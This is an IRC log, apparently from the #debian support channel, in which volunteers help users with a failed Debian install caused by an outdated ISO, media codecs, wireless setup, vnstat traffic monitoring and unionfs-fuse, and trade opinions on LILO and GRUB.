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| 00:00.30 | imc | she installed mplayer but apparently it is not able to play those files (she went through the /usr/share/mplayer/scripts/ thing) |
| 00:00.36 | imc | any ideas? |
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| 00:01.28 | adb | install (adobe) flash |
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| 00:01.38 | imc | no... the file is already on the hard disk |
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| 00:01.41 | imc | flash is ok |
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| 00:02.10 | justin | imc: what does mplayer say when trying to play one of the files? |
| 00:02.17 | imc | just want to play flash videos with a video player (it is way smoother than an embedded flash player) |
| 00:02.49 | imc | .. asking... |
| 00:03.16 | Panko | I'm trying to install Debian for the first time and I can't seem to get past the first few parts of the initial setup. |
| 00:03.38 | Panko | I heard that the AMD64 version is compatible with Intel Duo Core. |
| 00:03.40 | Panko | Is that correct? |
| 00:03.42 | imc | what are "the first two parts" ? |
| 00:03.44 | justin | mplayer and vlc should work.. not sure if the mplayer and vlc that come with debian have the codecs enabled |
| 00:03.45 | imc | Panko: yep |
| 00:04.07 | zinx | Panko: no, it is compatible with the Intel Core 2 Duo, though |
| 00:04.12 | Panko | The first few parts being hit enter and let the disk check your system. :) |
| 00:04.13 | imc | justin: i read a wiki telling to run a script to download essential-something tarball from mplayerhq.hu |
| 00:04.18 | zinx | Panko: note that the "2" is important. |
| 00:04.28 | zinx | Panko: it isn't compatible with the "Intel Core Duo" |
| 00:04.28 | imc | ups |
| 00:04.40 | imc | Panko: must be a 64bit cpu |
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| 00:05.09 | zinx | yeah, if the amd64 CD runs it's amd64 :D |
| 00:05.10 | Panko | It is 64bit. Perhaps I misspoke. |
| 00:05.20 | zinx | and compatible |
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| 00:05.50 | purplepenguins | if it is 64bit, and not itanium or something like that, amd64 should work |
| 00:05.54 | Panko | Yeah, it's an Intel Pentium dual-core. |
| 00:06.09 | abrotman | core 2 duo? or just dual core? |
| 00:06.18 | Panko | Just dual-core. |
| 00:06.29 | adb | i686 |
| 00:06.39 | purplepenguins | intel really confused everything lately with all these different chips |
| 00:06.40 | imc | justin: ok.. she gave up for tonight.. no little telefilm before sleeping.. no problem, i should fix this tomorrow |
| 00:06.47 | Panko | This is the craptop I'm trying to install Debian onto: http://www.newegg.com/Product/Product.aspx?Item=N82E16834101175 |
| 00:06.56 | imc | thanks anyway (the codecs are there... i suspect she didn't eve try to play the movie.... ) |
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| 00:07.17 | abrotman | he could just get the multi-arch installer .. and let it choose? |
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| 00:07.36 | justin | imc: might need to install a better mplayer from that debian-multimedia stuff... |
| 00:08.03 | justin | imc: dunno how well those packages are actually built, but if the problem is the official debian pacakges removed the codecs, those should work |
| 00:08.03 | Panko | So if the AMD64 is no good, which should I use? |
| 00:08.12 | purplepenguins | x86 |
| 00:08.22 | justin | Panko: what problem are you actually having? |
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| 00:08.41 | purplepenguins | x86 will work on every processor not-Itanium made by Intel since the 386 |
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| 00:09.16 | purplepenguins | according to Intel's website, the intel T3200 processor in that laptop supports EM64T and hence amd64 will work |
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| 00:09.36 | purplepenguins | http://processorfinder.intel.com/details.aspx?sSpec=SLAVG |
| 00:09.45 | Panko | So the AMD64 one should be working? |
| 00:09.56 | purplepenguins | yes |
| 00:10.03 | Panko | It seems to be getting stuck early on in the process of installing the OS. |
| 00:10.13 | purplepenguins | what is the error? |
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| 00:10.49 | pickcoder | amd64 is a waste on a laptop IMO |
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| 00:11.09 | Panko | The last line it reads off before it stops is "ACPI: Subsystem revision 20040326" |
| 00:11.26 | purplepenguins | stops? |
| 00:11.34 | purplepenguins | as in it hangs, it reboots, what? |
| 00:11.48 | Panko | The CD stops spinning and everything just sits there. |
| 00:12.03 | abrotman | acpi=off |
| 00:12.04 | purplepenguins | it could possibly be a bad disk |
| 00:12.16 | Panko | I just burned it today. |
| 00:12.18 | purplepenguins | if it were an architecture issue it would not fail in such a way |
| 00:12.23 | Panko | Hm... |
| 00:12.27 | purplepenguins | did you check the md5 Panko? |
| 00:13.10 | Panko | I don't know how to do that. |
| 00:13.12 | purplepenguins | can you state with reasonable certainty that there is no hardware issue? |
| 00:13.33 | purplepenguins | i.e. if you are running windows on it now, and it's working fine |
| 00:13.58 | Panko | Yes, the OS I have on here works without issues. |
| 00:14.22 | purplepenguins | what did you use to burn the disk, did it have a thing to verify that the burn worked right? |
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| 00:15.13 | Panko | I used K3b and I had no issues while burning the disk. |
| 00:15.13 | purplepenguins | an md5 is a checksum, if you take the md5 checksum of iso image, and one of the disk, and they are the same, you can be pretty reasonably sure that the disk burned fine |
| 00:15.28 | purplepenguins | i know k3b has an option to do that |
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| 00:15.37 | justin | md5sum /dev/cdrom |
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| 00:19.06 | purplepenguins | yes, do what justin said, while the disk is in the drive |
| 00:19.18 | purplepenguins | then md5sum /path/to/image/file |
| 00:19.44 | purplepenguins | or just check the debian website and look at the .md5 files for your image |
| 00:19.59 | justin | yes, skip step 2 |
| 00:20.07 | justin | easiest just to google the resulting mdsum heh |
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| 00:20.42 | purplepenguins | some people don't distribute the md5sums, but debian is not some people |
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| 00:21.54 | Panko | So are you saying I should take the result of the md5sum command and compare it to the .md5 files? |
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| 00:23.17 | acu01 | OK, I upgraded to squeeze - everything seem so cool - like riding a Jaguar, but the sound from the youtube videos does not come out - any hint why ? |
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| 00:23.38 | abrotman | modprobe snd_pcm_oss ? |
| 00:24.19 | simonrvn | any reason why bttracker.debian.org is refusing to do its thing? |
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| 00:25.39 | RichiH | i need a quick way to track traffic on one NIC for the next few hours and make a graph from that |
| 00:25.41 | RichiH | suggestions? |
| 00:25.48 | owen1 | how to delete a chroot? |
| 00:25.58 | RichiH | knows about most tools out there, but he wants to do it quick & go to bed |
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| 00:27.07 | justin | RichiH: ntop? |
| 00:27.41 | simonrvn | vnstat ? |
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| 00:29.40 | owen1 | can i simply rm the folder of chroot if i want to get rid of it? |
| 00:29.46 | farchanjo | nload too |
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| 00:30.45 | acu01 | abrotman I got from modprobe the following WARNING: All config files need .conf: /etc/modprobe.d/i2c, it will be ignored in a future release. |
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| 00:31.35 | c4pt | is it possible to setup a serial console with just firewire 1394 or an ethernet crossover cable? |
| 00:31.51 | simonrvn | acu01: exactly what it says it's saying ... |
| 00:32.17 | acu01 | strangely enough if I play an avi file with media player I can hear the sound - or if I shut down the system - however I cannot hear the sound from youtube in konqueror of iceweasel |
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| 00:32.56 | simonrvn | so why are you lookng at i2c? |
| 00:32.58 | factor | wow Debian is 16 years old. http://groups.google.com/group/comp.os.linux.development/msg/a32d4e2ef3bcdcc6 |
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| 00:33.16 | RichiH | justin, simonrvn: ta, looking |
| 00:33.22 | ryan__ | two more years and its legal! lol |
| 00:33.32 | RichiH | atm, i am just doing a cron per minute that dumps the T & RX bytes |
| 00:33.38 | nhand | is it possible to boot lenny using LVM/RAID5 for /boot? i managed to get LVM/RAID1 for boot and LVM/RAID5 for root by dropping to a shell and installing grub2 manually, but I am stumped trying to get LVM/RAID5 for /boot |
| 00:33.49 | justin | RichiH: oh.. there is something even better for that.. |
| 00:34.07 | justin | RichiH: try vnstat |
| 00:34.08 | factor | heh |
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| 00:34.16 | simonrvn | don't put that on raid or lvm |
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| 00:34.43 | Panko | Both of the checksums are the same. |
| 00:34.52 | justin | why would you put / on raid5? |
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| 00:35.22 | nhand | justin: to avoid having multiple raid arrays... especially 1 small raid1 just for / |
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| 00:36.00 | justin | nhand: keepin the OS and the data separate is always a good idea |
| 00:36.10 | nhand | they will be separate... different lvm |
| 00:36.34 | justin | last time I setup a softwre raid5 i just made a 5G raid 1 partition for / and used the other partitions as hot spares |
| 00:36.40 | nhand | btw, asking a specific tech question, don't need design advice |
| 00:36.41 | justin | then used the rest for raid5+lvm |
| 00:37.14 | Panko | Since my .iso was burned correctly, does anyone have an idea as to why Debian is refusing to install? |
| 00:37.15 | justin | ok.. good luck trying to boot off of raid5 then |
| 00:37.25 | nhand | justin: no need to get snarky |
| 00:37.51 | nhand | grub2 website hints it's now possible, just asking if anybody has figured out the formula |
| 00:38.07 | RichiH | justin, simonrvn: after installing and running vnstat -u -i eth1, it will track data all by itself? |
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| 00:38.57 | justin | RichiH: i believe by defaut it installs a cronjob |
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| 00:39.18 | justin | RichiH: didn't it make a /etc/cron.d/vnstat ? |
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| 00:39.50 | RichiH | /etc/cron.d/vnstat:0-55/5 * * * * root if [ -x /usr/bin/vnstat ] && [ `ls /var/lib/vnstat/ | wc -l` -ge 1 ]; then /usr/bin/vnstat -u; fi |
| 00:39.51 | justin | i think the first time you run it it creates the DB and then the cronjab takes it from there |
| 00:39.57 | RichiH | justin: yes, it did |
| 00:39.59 | RichiH | just found it |
| 00:40.00 | RichiH | :) |
| 00:40.23 | justin | yep, that should do |
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| 00:41.51 | crzedmonk | still not working to unrar archives |
| 00:41.52 | crzedmonk | :D |
| 00:42.17 | Panko | Should I try using Intel IA-64 or Intel x86 instead of AMD64 for my Intel Pentium dual-core computer? |
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| 00:43.17 | justin | crzedmonk: apt-get install unp; unp whatever.whatever |
| 00:43.19 | purplepenguins | Panko: IA-64 won't work |
| 00:43.56 | purplepenguins | did you compare the md5sum of the image and the md5sum of the disk? |
| 00:44.04 | Panko | Yes. They're identical. |
| 00:44.08 | purplepenguins | okay |
| 00:44.09 | abrotman | Panko: did you try acpi=off ? |
| 00:44.19 | purplepenguins | ^ do that |
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| 00:45.25 | oh_noes | If I want to auto fdisk and mkfs 'a second disk' |
| 00:45.49 | oh_noes | and make any second disk inserted into the server as /foobar |
| 00:45.51 | oh_noes | is it best to do it with a udev script? |
| 00:46.20 | crzedmonk | unp? |
| 00:46.30 | purplepenguins | oh_noes: a bash script? |
| 00:46.53 | justin | oh_noes: that just sounds like a really bad idea :)) |
| 00:46.57 | oh_noes | yes, obviously a bash script ... but I spose Im asking where the most standard place is to trigger it from |
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| 00:48.01 | oh_noes | justin: it's for a virtual appliance I'm building...I want to allow them to inside ESX or Xen, assign a second disk and without doing anything inside the Guest, handle itself |
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| 00:49.14 | purplepenguins | oh_noes: i would say automatic is a poor plan |
| 00:49.51 | oh_noes | purplepenguins: based on what specs of my virtual appliance that you havent seen |
| 00:50.21 | Panko | Okay, now it's unable to insert AMD64 generic kernel drivers. "No such device." |
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| 00:50.28 | purplepenguins | first to write it, test it somewhat first |
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| 00:51.24 | purplepenguins | Panko: can you pastebin the specific error? |
| 00:51.31 | crzedmonk | ok so I purged and removed unrar it is still not working upon reinstallation |
| 00:52.02 | Panko | /lib/modules/2.6.8-11-amd64-generic/kernel/drivers/acpi/fan.ko |
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| 00:52.28 | Panko | Sorry hold on. |
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| 00:53.59 | justin | oh_noes: udev could work, or just a cronjob that looks for new disks |
| 00:54.02 | owen1 | how to delete a chroot folder? |
| 00:54.19 | owen1 | rm -r ? |
| 00:54.31 | justin | owen1: what is a chroot folder? |
| 00:54.59 | oh_noes | justin: yeah im thinking udevtrigger against '/dev/sdb' |
| 00:55.04 | owen1 | justin: chroot jail is a folder that contain a sandboxed OS |
| 00:55.06 | adb | owen1: as usual , but it depends if it is a system folder not do that |
| 00:55.25 | owen1 | adb: it's a folder i created |
| 00:55.28 | oh_noes | but Im not sure if inside this trigger I'll have everything I need at the time it's run (cp, fdisk -l, fstab etc) |
| 00:55.30 | owen1 | in /var |
| 00:55.47 | justin | directory :-P |
| 00:56.09 | justin | owen1: unless you did something like bind mount /home into it, just delete it |
| 00:56.21 | owen1 | justin: ok. thanks |
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| 00:56.24 | Panko | Here is a list of the errors I just recieved. |
| 00:56.27 | Panko | FATAL: Error inserting fan (/lib/modules/2.6.8-11-amd64-generic/kernel/drivers/acpi/fan.ko): No such device |
| 00:56.32 | Panko | WARNING: Error inserting processor ((/lib/modules/2.6.8-11-amd64-generic/kernel/drivers/acpi/processor.ko): No such device |
| 00:56.42 | Panko | thermal: Unknown symbol acpi_processor_set_thermal_limit |
| 00:56.46 | Panko | FATAL: Error inserting thermal (/lib/modules/2.6.8-11-amd64-generic/kernel/drivers/acpi/thermal.ko): Unknown symbol in module, or unknown parameter (see dmesg) |
| 00:56.59 | justin | 2.6.8 ? |
| 00:56.59 | zinx | those are not needed |
| 00:57.06 | justin | are you trying to install etch? |
| 00:57.18 | purplepenguins | 2.6.8...that's pretty damn old |
| 00:57.32 | justin | Panko: what is the filename of the iso you downloaded? |
| 00:57.34 | Panko | This is my first time trying to install Debian. I grabbed what I thought was the most recent copy from the website. |
| 00:57.41 | Panko | Let's see... |
| 00:57.45 | purplepenguins | that's like sarge |
| 00:57.54 | Panko | debian-31r6a-amd64-binary-1.iso |
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| 00:58.13 | purplepenguins | Panko: that's a really old version of debian |
| 00:58.16 | justin | oh yeah, true, etch is 2.6.18 |
| 00:58.24 | justin | sare was 2.6.8 |
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| 00:58.30 | purplepenguins | like, several years older than your laptop |
| 00:58.36 | owen1 | justin: it worked exept for proc folder. i get permission denied. |
| 00:58.43 | Panko | I was wondering if the AMD64 one was just behind on updates with Debian. |
| 00:58.59 | justin | owen1: that is what I meant by "something" |
| 00:59.05 | justin | owen1: you had /proc mounted |
| 00:59.12 | justin | Panko: that's 3 behind |
| 00:59.21 | purplepenguins | you want to download the 5.0 amd64 disk, it's available at debian.org |
| 00:59.22 | Panko | Yeah... wtf. |
| 00:59.29 | Panko | Yeah, that sounds like a plan. |
| 00:59.39 | Panko | Thanks again. |
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| 00:59.41 | owen1 | justin: ok..can i unmount it? |
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| 00:59.45 | justin | Panko: 31r6a i like 3.1 sp 6 |
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| 00:59.52 | justin | Panko: you downloaded the latest update to 3.1 |
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| 01:00.06 | justin | owen1: yes/ |
| 01:00.08 | abrotman | and is like .. fives years old |
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| 01:00.22 | justin | abrotman: well, the update isnt :) |
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| 01:00.35 | abrotman | no ... but it didn't get a newer kernel |
| 01:00.52 | purplepenguins | it still desn't matter, the kernel is older than his laptop, it probably doesn't have the right drivers |
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| 01:01.30 | purplepenguins | and in any case, anything older than oldstable is usually too old to be useful |
| 01:01.46 | purplepenguins | unless you're using ancient hardware |
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| 01:02.23 | RichiH | if vnstat supported finer-grained displays, it would be even more awesome |
| 01:02.24 | justin | Panko: where did you download that iso from? |
| 01:02.35 | abrotman | RichiH: ? |
| 01:02.46 | Panko | I found a link to it via Debian's website. |
| 01:02.49 | justin | RichiH: ntop might be able to |
| 01:02.53 | justin | Panko: what link? |
| 01:02.53 | RichiH | abrotman: hours are too long for what i need |
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| 01:03.27 | justin | RichiH: though ntop can't really handle high speed links.. netflow tools work much better for that |
| 01:03.29 | abrotman | RichiH: vn or vm ? |
| 01:03.39 | justin | nfdump/nfsen is nice |
| 01:04.11 | justin | unfortunately it takes longer than 5 minutes to set up |
| 01:04.24 | Panko | I can't remember. It was a week or two ago. I'm getting a different version from this URL though: http://cdimage.debian.org/debian-cd/5.0.2/amd64/bt-cd/ |
| 01:05.57 | RichiH | justin: dual-gigabit, but it's only using about 30 mbit/s |
| 01:06.01 | RichiH | abrotman: vn |
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| 01:07.32 | justin | RichiH: nfdump is packages in debian, but I dont think that version works with nfsen |
| 01:07.46 | justin | but you can get fprobe+nfdump working in a few minutes |
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| 01:11.22 | straw | Hey, how do I find out about used options from a loaded module? |
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| 01:13.15 | abrotman | some modules keep that in uhh .. /sys/ |
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| 01:14.48 | abrotman | straw: /sys/modules/foo_module/parameters/ |
| 01:14.57 | abrotman | erm /sys/module/ |
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| 01:15.19 | straw | ah, thanks! |
| 01:15.54 | TrueDD | Good night all |
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| 01:16.27 | straw | because I have problems with KMS atm |
| 01:16.28 | straw | cat /sys/module/i915/parameters/modeset |
| 01:16.29 | straw | -1 |
| 01:16.34 | straw | That should be '1', right? |
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| 01:17.30 | justin | straw: isn't modeset a kernel command line option? |
| 01:18.07 | straw | basically I followed this short tutorial: http://wiki.debian.org/KernelModesetting |
| 01:18.14 | straw | but there's nothing happening at all |
| 01:18.47 | straw | and it seems like modeset isn't set right, although it put it in the initrd file |
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| 01:27.29 | straw | And why isn't Control+Alt+Backspace working, although DontZap is set off? (on current SID) |
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| 01:29.46 | foxtrot | is there a half-decent scp program? |
| 01:29.52 | foxtrot | I need to scp many files and directories |
| 01:29.57 | foxtrot | so i really need something graphical |
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| 01:30.06 | abrotman | tar them up and scp the tar? |
| 01:30.30 | Alam_Squeeze | foxtrot: you could use rsync and grsync |
| 01:30.52 | abrotman | foxtrot: filezilla might if you need a GUI |
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| 01:31.55 | nicoi | Hello! |
| 01:32.02 | nicoi | I just installed Debian but there is a problem |
| 01:32.12 | nicoi | I can't configure the wireless thing |
| 01:32.19 | nicoi | iwlist scan says wlan0 network is down |
| 01:32.23 | nicoi | how to set it up? |
| 01:32.57 | nicoi | ifup iwconfig wlan0 isn't working |
| 01:33.05 | purplepenguins | nicoi: try installing wicd or network-manager maybe, they're helpful |
| 01:33.25 | nicoi | I don't have internet |
| 01:33.33 | nicoi | I solved it years ago, I just don't remember. |
| 01:33.43 | nicoi | ifup ifconfig |
| 01:33.44 | purplepenguins | if you want to use iwconfig, you'll have to read the manpage and configure /etc/network/interfaces |
| 01:33.45 | nicoi | Or something, no idea? |
| 01:34.11 | mufasis | i am new to linux and im trying to figure out what distro to go with |
| 01:34.13 | nicoi | purplepenguins: nah, that's not the problem, it can be configurated by iwconfig wlan0 essid and with key |
| 01:34.14 | abrotman | nicoi: what is your wireless card ? |
| 01:34.18 | nicoi | the problem is that it is down |
| 01:34.24 | abrotman | mufasis: you're in #debian, we'll probably say Debian :) |
| 01:34.25 | purplepenguins | ah |
| 01:34.26 | nicoi | abrotman: iwl3945 |
| 01:34.29 | Panko | mufasis: you should go to #linux |
| 01:34.31 | abrotman | nicoi: you need firmware |
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| 01:34.35 | abrotman | !tell nicoi about iwlwifi |
| 01:34.38 | nicoi | abrotman: is installed |
| 01:34.39 | purplepenguins | did you use dhcpcd to get dhcp running? |
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| 01:34.55 | nicoi | purplepenguins: yeah, but the network is down! how to set it up, that's my question |
| 01:34.55 | adfasdf | is it necessary to reboot after a dist=upgrade/ |
| 01:34.59 | purplepenguins | oh |
| 01:35.02 | mufasis | a lot of people say debian is the best |
| 01:35.04 | mufasis | why do they say that |
| 01:35.07 | purplepenguins | check the iwconfig manpage? |
| 01:35.08 | nicoi | mufasis: it is |
| 01:35.15 | Panko | Haha. |
| 01:35.16 | nicoi | purplepenguins: I did, 5 times |
| 01:35.17 | craigevil | adfasdf: not unless your kernel upgraded |
| 01:35.18 | purplepenguins | you tried giving it the options already? |
| 01:35.26 | nicoi | purplepenguins: yes |
| 01:35.35 | nicoi | abrotman: how to set a network up? |
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| 01:35.39 | purplepenguins | and when you hit iwconfig wlan0, it lists the right ESSID |
| 01:35.41 | abrotman | he needs the firmware |
| 01:35.44 | purplepenguins | oh |
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| 01:35.48 | abrotman | if he doesn't have the firmware, it won't work at all .. |
| 01:35.59 | nicoi | abrotman: I told you, the firmware is already installed |
| 01:36.04 | purplepenguins | that's right, not all network cards work out of the box |
| 01:36.12 | abrotman | nicoi: did you check dmesg for errors ? |
| 01:36.18 | purplepenguins | mufasis: because many people use it and love it? |
| 01:36.19 | nicoi | abrotman: there are no errors |
| 01:36.34 | nicoi | abrotman: I solved it few months ago, somebody told me how, I forgot, damn :/ |
| 01:36.37 | nicoi | was ifconfig up |
| 01:36.39 | purplepenguins | it has a great package manager with a lot of packages, the stable version is well-supported, secure, popular |
| 01:36.41 | mufasis | what is debian known for |
| 01:36.54 | purplepenguins | debian stable is well-known for its stability and support |
| 01:37.07 | abrotman | mufasis: stability and a metric tonne of packages |
| 01:37.10 | purplepenguins | all debian-based systems are known for their huge selection of packages |
| 01:37.12 | abrotman | dpkg: dstats lenny |
| 01:37.33 | Panko | I find that Gentoo has good package management as well. |
| 01:37.36 | purplepenguins | debian is totally free, relatively easy to use and install |
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| 01:37.43 | dpkg | Debian Distro Stats on lenny... 22971 packages, 1933 maintainers, 59039 MB installed size, 20845 MB compressed size. |
| 01:38.06 | purplepenguins | and it's also one of the oldest distros still around |
| 01:38.18 | purplepenguins | the only ones older are red hat and slackware |
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| 01:38.45 | nicoi | How to set up wlan0 |
| 01:38.49 | abrotman | actually .. i think debian is older than RH |
| 01:38.51 | nicoi | Says it is down in a iwlist scan |
| 01:38.58 | LemensTS | hello all. svn propset svn:ignore "*" directory , but if i do 'svn add *' it adds them anyways to svn....how do i get around that? |
| 01:39.01 | purplepenguins | it could be, i think they both were released in 1994 |
| 01:39.10 | purplepenguins | or 1993 what |
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| 01:39.59 | nicoi | abrotman: no idea? |
| 01:40.23 | abrotman | nicoi: iwlist shows no APs ? |
| 01:40.56 | nicoi | iwlist shows the iwlist menu |
| 01:41.03 | nicoi | iwlist scan, says network is down |
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| 01:41.20 | abrotman | nicoi: is wlan0 in your /etc/network/interfaces and configured ? |
| 01:41.28 | nicoi | yes |
| 01:41.29 | nicoi | but is down |
| 01:41.36 | abrotman | ifup wlan0 ? |
| 01:41.45 | nicoi | let me try /etc/init.d/networking restart |
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| 01:42.51 | nicoi | abrotman: solved :) |
| 01:42.54 | nicoi | was ifconfig wlan0 up |
| 01:43.14 | abrotman | question is why it didn't come up at boot time |
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| 01:43.30 | nicoi | dunno |
| 01:43.36 | nicoi | and I did reboot many times |
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| 01:45.27 | abrotman | nicoi: can you put your /etc/network/interfaces file in a pastebin ? |
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| 01:46.55 | nicoi | abrotman: sure hold on, have no internet yet |
| 01:47.04 | nicoi | isn't getting the ip, how is the command to get the ip automatically? |
| 01:47.05 | nicoi | dhcp? |
| 01:47.07 | nicoi | or how? |
| 01:47.31 | abrotman | it's your AP .. |
| 01:47.41 | nicoi | sorry? |
| 01:48.13 | abrotman | dhclient ? |
| 01:48.23 | abrotman | you probalby have to setup all your keys, etc |
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| 01:49.26 | purplepenguins | nicoi: you don't get an ip until you send for dhcp |
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| 01:49.50 | purplepenguins | unless you want to specify manual ip's and that's not so fun |
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| 01:52.25 | abrotman | purplepenguins: From what i can tell, Debian: 1993, Red Hat: 1994 |
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| 01:52.45 | purplepenguins | yeah, you're right, i thought they were both 1994, but it's debian's 16th so it must be 1993 |
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| 01:58.22 | nicoi | solved |
| 01:58.25 | nicoi | dhclient solved it |
| 01:58.25 | nicoi | thanks! |
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| 02:01.30 | pppoe_dude | hello |
| 02:01.56 | pppoe_dude | quick question, does debian 5 support gnome vfs? |
| 02:02.07 | abrotman | judd: versions gnome-vfs |
| 02:02.08 | judd | abrotman: gnome-vfs -- |
| 02:02.11 | abrotman | eh .. |
| 02:02.27 | pppoe_dude | not sure if that's exactly what it's called |
| 02:02.29 | abrotman | yeah .. it does |
| 02:02.37 | pppoe_dude | cool |
| 02:02.39 | abrotman | judd: versions libgnomevfs2-bin |
| 02:02.39 | judd | abrotman: libgnomevfs2-bin -- etch: 1:2.14.2-7 lenny: 1:2.22.0-5 squeeze: 1:2.24.1-3 sid: 1:2.24.1-4 |
| 02:03.09 | pppoe_dude | hi J-_ |
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| 02:03.24 | J-_ | hey dude |
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| 02:03.50 | pppoe_dude | J-_: this is like some sort of parallel universe |
| 02:03.52 | pppoe_dude | isn't it? :) |
| 02:04.46 | J-_ | Haha yeah, I don't talk much here. I'm usually in #d-o though. |
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| 02:17.45 | ryan__ | <PROTECTED> |
| 02:17.45 | ryan__ | /'\_ _/`\ |
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| 02:21.43 | scientes | could we get a more comprehensive desktop tasksel in debian? something more like what other distributions have? |
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| 02:23.08 | pl4yer0ne | scientes, you mean a more fully featured package manager? |
| 02:23.23 | scientes | well debian has that, and that is awesome |
| 02:23.39 | scientes | but a instant more usable desktop |
| 02:23.50 | pl4yer0ne | ah i get you |
| 02:24.09 | pl4yer0ne | you mean an option to install a "standard desktop" in tasksel |
| 02:24.31 | scientes | I just think that the "standard desktop" is a little light more most users |
| 02:24.40 | abrotman | if you want something included in the task, file a bug |
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| 02:26.18 | pl4yer0ne | I like minimal |
| 02:26.20 | scientes | could have iceweasel, pidgin, gnome-utils |
| 02:26.23 | scientes | perhaps i should file bug then |
| 02:27.37 | abrotman | scientes: it also depends on which media you use IIRC |
| 02:27.59 | scientes | oO0 |
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| 02:28.15 | scientes | aha |
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| 02:28.37 | scientes | maybe debian should move to lzma compressed debs and then there wouldn't be that problem |
| 02:28.43 | abrotman | for instance .. my 'desktop' task asks for iceweasel |
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| 02:30.17 | Devastator | is there a way to compile unionfs module on debian lenny? |
| 02:30.39 | abrotman | judd: versions unionfs-fuse |
| 02:30.40 | judd | abrotman: unionfs-fuse -- lenny: 0.21-3 sid: 0.23.hg.20090611-1 squeeze: 0.23.hg.20090611-1 |
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| 02:31.22 | Devastator | abrotman when i try modprobe unionfs it says unknown module |
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| 02:31.40 | scientes | its fuse |
| 02:31.41 | abrotman | did you instal it ? |
| 02:31.43 | scientes | so its not a module |
| 02:31.54 | scientes | no need for module anymore if it uses fuse |
| 02:32.01 | Devastator | humm |
| 02:32.22 | Devastator | i need to mount something with -t unionfs, will it work? |
| 02:32.28 | scientes | just like with -t ntfs |
| 02:32.39 | scientes | *ntfs-3g |
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| 02:33.40 | Devastator | god damn, mount says unknown filesystem type :S |
| 02:33.42 | Devastator | grrr |
| 02:35.00 | scientes | type mount and then hit tab |
| 02:35.04 | scientes | see if it is there |
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| 02:37.00 | scientes | should be at /sbin/mount.unionfs |
| 02:37.26 | DasEi | scientes: does this work on debian ? man mount in ubuntu |
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| 02:38.51 | abrotman | the unionfs-fuse package has docs |
| 02:39.18 | scientes | o yeah no /sbin/mount.unionfs |
| 02:39.24 | scientes | but a /sbin/mount.fuse |
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| 02:40.05 | Devastator | scientes yes, when i type mount.fuse -t unionfs -o dirs=dir1=rw:dir2=ro unionfs dir3 |
| 02:40.19 | Devastator | it says: -t unknown command |
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| 02:40.36 | abrotman | man unionfs-fuse ? |
| 02:41.04 | scientes | it says you call it with unionfs-fuse |
| 02:42.15 | Devastator | it helps when you have unionfs-fuse installed, sorry haha |
| 02:42.30 | abrotman | i did ask that five minutes ago ... |
| 02:43.01 | scientes | .......... |
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| 02:46.37 | Devastator | abrotman now i'm struggling with syntax :( |
| 02:46.49 | thd | What is the best way to have an init script run commands as a particular user? |
| 02:46.52 | abrotman | no help in the man page ? |
| 02:47.00 | abrotman | thd: su -c |
| 02:47.05 | Devastator | abrotman i could not understand |
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| 02:47.38 | thd | abrotman: I have had problems with su -c where I need to pass arguments to the command |
| 02:47.45 | abrotman | thd: quote the command |
| 02:48.11 | thd | abrotman: that is what I did so I must have some other error |
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| 02:48.29 | abrotman | Devastator: i've not used it .. there's nothing in /usr/share/doc/unionfs-fuse/ either ? |
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| 02:53.59 | thd | abrotman: perhaps my problem is that the user has no shell for security reasons |
| 02:54.50 | thd | abrotman: does su -c work to run a command as a user with no shell? |
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| 02:59.24 | SJr | My box seemingly just died |
| 02:59.45 | SJr | and now I'm getting a Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(3,1) |
| 02:59.56 | markybob | SJr, honor it in death |
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| 03:00.12 | SJr | You mean kill myself? |
| 03:00.17 | SJr | cause I failed it |
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| 03:01.27 | Devastator | i don't understand why remove something so simple to use and put a complex utility insted |
| 03:01.31 | Devastator | instead |
| 03:01.34 | Devastator | :| |
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| 03:03.57 | skrapasor | how do i change my default terminal font? |
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| 03:04.30 | SJr | What command or key gets the LILO menu to come up on boot |
| 03:04.48 | markybob | SJr, jesus. really? you're still using lilo? |
| 03:04.56 | markybob | i cant remember back that far |
| 03:04.57 | SJr | Yes |
| 03:04.59 | SJr | it's an old system |
| 03:05.11 | Devastator | SJr just uncomment prompt on /etc/lilo.conf |
| 03:05.14 | justin | SJr: shift? |
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| 03:06.52 | purplepenguins | anyone try grub-pc yet? |
| 03:07.24 | Devastator | i don't like grub, don't know why, but it is what it is.. |
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| 03:08.04 | markybob | Devastator, probably because you're insane. lilo was *much* worse |
| 03:08.25 | Devastator | markybob why? what's wrong with lilo? |
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| 03:09.15 | markybob | Devastator, for one, you couldnt just edit the config and be done with it. you had to regenerate it afterwards. you couldnt have it after 512 in the partition. what of any of that is sane? |
| 03:09.54 | Devastator | 512...? |
| 03:10.19 | markybob | 512 bytes in the boot partition |
| 03:10.25 | Vasistha | hmm. having trouble with curlftpfs and /etc/fstab. It used to work great, back in the days of etch (or was that sarge?) Nowadays I can mount using 'curlftpfs host mountpoint' (with user/pass in ~/.netrc) but when I try to 'mount' (with corresponding entry in /etc/fstab) I get 'Error connecting to ftp: Access denied: 530' |
| 03:10.31 | markybob | c'mon...you should know that if you're going to back up lilo :P |
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| 03:11.01 | Devastator | markybob i didn't know that but i never had a problem with it |
| 03:11.23 | Devastator | grub is more robust.. lilo is simple |
| 03:11.34 | markybob | Devastator, then you never knew enough to know that it was awful |
| 03:11.52 | Devastator | markybob could be.. |
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| 03:12.11 | Vasistha | though lilo can do much more without being able to read a partition |
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| 03:13.49 | martian67 | its not the "boot partition" |
| 03:13.58 | martian67 | its the Master boot record |
| 03:14.07 | martian67 | and only the first 426 bytes are iirc |
| 03:14.23 | martian67 | the rest is the partition table |
| 03:15.56 | martian67 | Devastator, and grub installs the same exact way, but it points to a larger loader |
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| 03:16.49 | Devastator | i prefer lilo, i think i'm more used to it than grub, and i like lilo.conf, it's easy to set up |
| 03:17.38 | martian67 | i agree, lilo is easier to set up |
| 03:17.41 | markybob | Devastator, you better learn grub if you want to stay relevant |
| 03:17.45 | martian67 | it uses the same device semantics as the linux kernel |
| 03:17.48 | martian67 | lollll |
| 03:17.58 | martian67 | grub uses its own retarded device name scheme |
| 03:18.08 | Vasistha | I dunno... after getting used to grub, I think it's easier in the long run. Far fewer headaches if things go wrong. |
| 03:18.09 | martian67 | typical gnu crap though |
| 03:18.13 | Devastator | martian67 grub reminds me boot.ini from windows |
| 03:18.16 | markybob | Devastator, good luck finding a linux job without grub knowledge |
| 03:18.24 | markybob | ha |
| 03:18.28 | markybob | wow. that's insane |
| 03:18.46 | martian67 | yea im sure many places list 3 YEARS OF GRUB KNOWLEDGE AN ASBOLUTE NESSESITY |
| 03:18.48 | martian67 | get fucking real |
